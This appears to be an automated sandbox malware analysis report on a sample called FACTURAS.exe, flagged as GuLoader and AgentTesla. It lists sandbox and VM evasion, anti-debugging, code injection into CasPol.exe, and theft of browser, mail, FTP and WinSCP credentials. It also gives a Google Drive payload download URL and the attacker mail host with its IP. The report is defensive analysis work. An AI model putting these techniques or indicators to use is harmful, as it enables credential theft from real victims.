Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect Any.run
Source: C:\Users\user\Desktop\FACTURAS.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: FACTURAS.exe, 00000001.00000002.34928491010.0000000003120000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXE\SYSWOW64\MSVBVM60.DLL
Source: FACTURAS.exe, 00000001.00000002.34928491010.0000000003120000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39549397505.00000000016D0000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: CasPol.exe, 00000009.00000002.39549397505.00000000016D0000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=1E3NVGX3LLHNN9ZF6RWTJDW6FKTCAIH9T
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3956 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Window / User API: threadDelayed 9956 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe System information queried: ModuleInformation Jump to behavior
Source: FACTURAS.exe, 00000001.00000002.34928607256.00000000031E9000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39551309400.00000000032B9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Guest Shutdown Service
Source: FACTURAS.exe, 00000001.00000002.34928607256.00000000031E9000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39551309400.00000000032B9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: CasPol.exe, 00000009.00000002.39551309400.00000000032B9000.00000004.00000001.sdmp Binary or memory string: vmicshutdown
Source: FACTURAS.exe, 00000001.00000002.34928607256.00000000031E9000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39551309400.00000000032B9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: FACTURAS.exe, 00000001.00000002.34928491010.0000000003120000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32APPDATA=windir=\Microsoft.NET\Framework\v4.0.30319\caspol.exe\syswow64\msvbvm60.dll
Source: FACTURAS.exe, 00000001.00000002.34928607256.00000000031E9000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39551309400.00000000032B9000.00000004.00000001.sdmp Binary or memory string: Hyper-V PowerShell Direct Service
Source: FACTURAS.exe, 00000001.00000002.34928607256.00000000031E9000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39551309400.00000000032B9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Time Synchronization Service
Source: CasPol.exe, 00000009.00000002.39551309400.00000000032B9000.00000004.00000001.sdmp Binary or memory string: vmicvss
Source: CasPol.exe, 00000009.00000002.39549397505.00000000016D0000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32APPDATA=https://drive.google.com/uc?export=download&id=1e3nVGX3LlhNn9Zf6RwTjDw6FKTCAih9T
Source: CasPol.exe, 00000009.00000002.39548757610.0000000001584000.00000004.00000020.sdmp, CasPol.exe, 00000009.00000002.39547979743.0000000001508000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW
Source: FACTURAS.exe, 00000001.00000002.34928491010.0000000003120000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39549397505.00000000016D0000.00000004.00000001.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: FACTURAS.exe, 00000001.00000002.34928607256.00000000031E9000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39551309400.00000000032B9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Data Exchange Service
Source: FACTURAS.exe, 00000001.00000002.34928607256.00000000031E9000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39551309400.00000000032B9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Heartbeat Service
Source: FACTURAS.exe, 00000001.00000002.34928607256.00000000031E9000.00000004.00000001.sdmp, CasPol.exe, 00000009.00000002.39551309400.00000000032B9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Guest Service Interface
Source: CasPol.exe, 00000009.00000002.39551309400.00000000032B9000.00000004.00000001.sdmp Binary or memory string: vmicheartbeat

Anti Debugging:

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\FACTURAS.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread information set: HideFromDebugger Jump to behavior
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\FACTURAS.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_01246950 KiUserExceptionDispatcher,LdrInitializeThunk, 9_2_01246950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Writes to foreign memory regions
Source: C:\Users\user\Desktop\FACTURAS.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 1300000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\FACTURAS.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FACTURAS.exe" Jump to behavior
Source: CasPol.exe, 00000009.00000002.39550856100.0000000001E61000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: CasPol.exe, 00000009.00000002.39550856100.0000000001E61000.00000002.00020000.sdmp Binary or memory string: Progman
Source: CasPol.exe, 00000009.00000002.39550856100.0000000001E61000.00000002.00020000.sdmp Binary or memory string: Program Managero
Source: CasPol.exe, 00000009.00000002.39550856100.0000000001E61000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000009.00000002.39558929344.000000001E3C1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 7380, type: MEMORYSTR
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000009.00000002.39558929344.000000001E3C1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 7380, type: MEMORYSTR

Remote Access Functionality:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000009.00000002.39558929344.000000001E3C1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 7380, type: MEMORYSTR
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 539419 Sample: FACTURAS.exe Startdate: 14/12/2021 Architecture: WINDOWS Score: 100 17 mail.furteksdokuma.com.tr 2->17 19 furteksdokuma.com.tr 2->19 21 3 other IPs or domains 2->21 29 Found malware configuration 2->29 31 Multi AV Scanner detection for submitted file 2->31 33 Yara detected GuLoader 2->33 35 3 other signatures 2->35 8 FACTURAS.exe 1 3 2->8         started        signatures3 process4 signatures5 37 Writes to foreign memory regions 8->37 39 Tries to detect Any.run 8->39 41 Hides threads from debuggers 8->41 11 CasPol.exe 11 8->11         started        process6 dnsIp7 23 furteksdokuma.com.tr 116.202.203.61, 49817, 587 HETZNER-ASDE Germany 11->23 25 drive.google.com 142.250.181.238, 443, 49808 GOOGLEUS United States 11->25 27 googlehosted.l.googleusercontent.com 142.250.186.33, 443, 49810 GOOGLEUS United States 11->27 43 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 11->43 45 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 11->45 47 Tries to steal Mail credentials (via file / registry access) 11->47 49 5 other signatures 11->49 15 conhost.exe 11->15         started        signatures8 process9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
142.250.181.238
 drive.google.com United States
15169 GOOGLEUS false
116.202.203.61
 furteksdokuma.com.tr Germany
24940 HETZNER-ASDE true
142.250.186.33
 googlehosted.l.googleusercontent.com United States
15169 GOOGLEUS false

Contacted Domains

Name IP Active
drive.google.com 142.250.181.238 true
googlehosted.l.googleusercontent.com 142.250.186.33 true
furteksdokuma.com.tr 116.202.203.61 true
doc-0g-7s-docs.googleusercontent.com unknown unknown
mail.furteksdokuma.com.tr unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://doc-0g-7s-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/gp8euu0gtvc992oi1h8j40de9a23dlvb/1639471800000/01707528263340534167/*/1e3nVGX3LlhNn9Zf6RwTjDw6FKTCAih9T?e=download false
    		high